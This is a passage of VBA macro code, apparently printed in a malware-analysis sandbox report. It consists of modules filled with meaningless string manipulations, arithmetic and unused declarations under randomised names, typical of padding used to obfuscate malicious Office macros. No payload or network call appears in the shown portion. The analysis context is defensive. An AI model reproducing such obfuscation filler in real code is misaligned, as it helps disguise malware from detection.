        Next fLsNGt

        eVBLiC = StrReverse("h   C  bCygu] #z H")
        FtopglxmwtHo = 400 - 432 - 331
        lsfvW = 891 + 687 + 1972
        Dim MKrJEESi As Date
        FtopglxmwtHo = StrReverse(" yGcm#TN&tCkZ")
    Next vYBazF

    lsfvW = StrReverse("H  w.lpmq izcuxl")
End Sub



Sub wutZxE(KvVsHux As Integer, MIGyiz As String)
    While YpXsly < 3
        EnytNId = StrReverse(" YBpm  u    c#")
        EnytNId = Space(4)
        UYdwbOH = Right(") cqOqsqz .q FSm", 2)
        EnytNId = Left("? PE pHoqAcEa&%rgyY$", 5)
        EnytNId = UCase("SOKGDQoRfRY Z h")
        FtopglxmwtHo = Right(" g cbe! E (-V$#", 5)
        Dim eVFWnRm, FlwOMaS, eDogXip As String
        eVBLiC = UCase("Chp k  a IQ%")
        YpXsly = YpXsly + 2
    Wend

    UYdwbOH = UCase("& y(#u$NS[")
    EnytNId = 139 - 157 - 126
    FtopglxmwtHo = 164 + 168 + 1107
    EnytNId = 252 - 456 - 104
    FtopglxmwtHo = 281 - 323 - 203
    SunFpKDXJM = 384 - 348 - 254
    FtopglxmwtHo = RTrim("SvJ_x W Xp U P  x] ")
    

    lsfvW = Space(8)
End Sub



Attribute VB_Name = "Module12"

Function mWRvWe(AFBcMWr As Boolean, majSXgc As Integer, UKVGBo As Boolean, xVDDIcD As String, GvkASaf As Boolean) As String
    lsfvW = UCase("sdFck^_.esis")
    lsfvW = Right("EJ) @!jm j c(NDJ@qj", 4)
    EnytNId = RTrim(" sdM&n gbe &%d_")
    UYdwbOH = RTrim(" Qf  ^)Vx. Avu wd^y[")
    rVGInItNDu = 1140 + 1335 + 939
    

    Dim NCvnuTF, dIDinA As Single
    mWRvWe = "ZUjZCXX"
End Function



Sub wChJJV(ANxuKrY As Integer, xpfTFV As Integer, OBoFTw As Boolean)
    rVGInItNDu = 801 + 1091 + 1566
    While ihPRLO < 3
        For EFKjDV = 0 To 5
            rVGInItNDu = Right("n$FG F( ohz ?m", 3)
            UYdwbOH = 667 + 745 + 984
            FtopglxmwtHo = LTrim("ITkYj   !Q")
            

            UYdwbOH = 1024 + 1369 + 995
            rVGInItNDu = LTrim("ae _.LmcyN WiRy %")
            EnytNId = Left("#in_KNh Dl I   u", 4)
        Next EFKjDV

        Dim MxcMs, AMTRSk, MQYDpXbp As Boolean
        EnytNId = Left("Qe-y    S Q V", 4)
        SunFpKDXJM = LTrim("e e-y%  ^uG")
        EnytNId = RTrim("H   w@ .Xr J&")
        

        lsfvW = Left("BkttA_ r   Mo  W  ", 4)
        ihPRLO = ihPRLO + 3
    Wend

    SunFpKDXJM = Right(" Db)hLhEo]kw  ", 2)
    While cxaeSK < 3
        While FBKxuM < 1
            lsfvW = StrReverse("l]wr )[VNkj")
            EnytNId = Space(6)
            SunFpKDXJM = Left("Ci _ZhzrPmP%h", 2)
            EnytNId = Space(7)
            

            FtopglxmwtHo = UCase("  ZO MjHlzNJp")
            FBKxuM = FBKxuM + 2
        Wend

        EnytNId = Left("?QT  ?YQBL$^?DesC ", 2)
        Dim fZYpoTdU, HScBOzFP, aamZTb, cddyHg As Boolean
        

        lsfvW = Space(3)
        Dim skERa, uENDn, hCvygAN, GzhgvNPN As Integer
        

        SunFpKDXJM = Space(20)
        FtopglxmwtHo = 269 - 262 - 200
        UYdwbOH = 253 - 295 - 330
        lsfvW = Space(15)
        cxaeSK = cxaeSK + 2
    Wend

    UYdwbOH = RTrim("WjH sxYvhKgIo ")
    UYdwbOH = UCase(" .WC  KQ ]y(M cs@")
    rVGInItNDu = StrReverse("CL SuoS.[ ")
End Sub



Sub IczYjK(MPUOeD As Double)
    rVGInItNDu = Right("Ru$lWHPd Ngry", 2)
    Dim dNHsoIht, WTzFlMR As String
    SunFpKDXJM = UCase("  nha vL g( ")
    rVGInItNDu = Space(8)
    lsfvW = Space(9)
    Dim uQUbPUuJ, DNyQHdhA, SVeDzJL, MNMlG As Single
End Sub



Attribute VB_Name = "Module13"

Sub IqwlEs(LyctmbY As Double)
    FtopglxmwtHo = RTrim(" @$u jq VFb.   -_j$")
    lsfvW = LTrim("Tqp&%GZ  lK ?")
    UYdwbOH = 196 - 149 - 192
    For EgoCTv = 0 To 9
        SunFpKDXJM = Right("Yt ErE$M tf OZZZmKY", 5)
        FtopglxmwtHo = 1651 + 1864 + 678
        EnytNId = 342 - 142 - 114
        EnytNId = 199 - 241 - 451
        eVBLiC = 267 - 106 - 325
        

        Dim HTmll, WhEwxWNF As Single
    Next EgoCTv

    FtopglxmwtHo = Space(20)
    While NHhTie < 1
        For ztbDrs = 0 To 7
            lsfvW = LTrim("( i )&L      V] ")
            FtopglxmwtHo = Left("e e  T( XppKj ", 2)
            

            EnytNId = RTrim("GaR^L@sgdN")
            FtopglxmwtHo = Right(" %sZdS %)%b zt fiB", 2)
            UYdwbOH = LTrim(" ?TY  zCG(R ! EhEA I")
            rVGInItNDu = StrReverse("rBeqe%qvzF zm! ")
            Dim hIHPmlYK, abdDTKn As Boolean
            lsfvW = Right("wC#mavm &t&R!HJOCLvG", 2)
            Dim SenkmWET, CGXQEF, JmZMf, NFLspLX As Single
        Next ztbDrs

        SunFpKDXJM = Left("hneki$szuNlc", 5)
        Dim nAADF, ouVoNfKC, AtusuB, hJoNLYoK As Byte
        EnytNId = StrReverse(" It .XF_c$q!R.")
        EnytNId = Left("I)I  -v%j]pE  i!pTmQ", 3)
        EnytNId = Right("AS[b]ivx g  GD", 5)
        UYdwbOH = 862 + 713 + 1145
        FtopglxmwtHo = StrReverse("kFToGMt e   EIN.  -")
        

        lsfvW = 558 + 302 + 254
        EnytNId = RTrim(" [lt g P  KDwq ( ")
        NHhTie = NHhTie + 3
    Wend

    rVGInItNDu = StrReverse("n$ZpX W&qCu[x e@q")
    FtopglxmwtHo = RTrim(" VTTYlqfv?_q  ")
End Sub



Public Sub HAgaMcJ()
    While XbuyXp < 2
        lsfvW = 106 - 348 - 217
        SunFpKDXJM = UCase("^Xy $TOwUZTX D")
        EnytNId = RTrim(" Arlzm nHe G m")
        FtopglxmwtHo = RTrim("?   )  tH VqA o X")
        SunFpKDXJM = 348 - 398 - 171
        rVGInItNDu = RTrim("S)SggZdxZI K m")
        FtopglxmwtHo = LTrim("aqLtMIHFmjjR[")
        XbuyXp = XbuyXp + 3
    Wend

    rVGInItNDu = RTrim("jxWlPb^-WG")
    

    While tOXnCc < 2
        rVGInItNDu = 425 - 357 - 240
        eVBLiC = Left("  uJGVjde tW[-x", 5)
        eVBLiC = 341 - 410 - 463
        rVGInItNDu = RTrim(" ! b  ]U m MkP ")
        

        rVGInItNDu = RTrim("uF aS^p OFGR tR D")
        lsfvW = UCase("] xVz   QwGE KL")
        tOXnCc = tOXnCc + 2
    Wend

    

    Dim onDQBnG, eHunhN, eXnIE, bWmcSw As String
    lsfvW = 384 - 470 - 492
    While nrraad < 4
        EnytNId = Left("  IT )TgY W &k sB", 5)
        eVBLiC = Left("tP#%k  ZnVtK", 3)
        Dim tGJPfR, JWlPF, hABdEn, RvHPsHW As String
        EnytNId = LTrim("@Y&kAWJA&vUdc")
        FtopglxmwtHo = UCase("S^jg gbpZfZu ")
        EnytNId = RTrim(" fVoC.o I_S T&n#")
        SunFpKDXJM = UCase("$( p g &QcZ _ G TV K")
        rVGInItNDu = StrReverse("Q[? zf  tM")
        nrraad = nrraad + 2
    Wend

    UYdwbOH = Space(16)
    SunFpKDXJM = Space(11)
    While YFcrnm < 2
…

Open this report in the interactive analyzer, or submit your own file for analysis.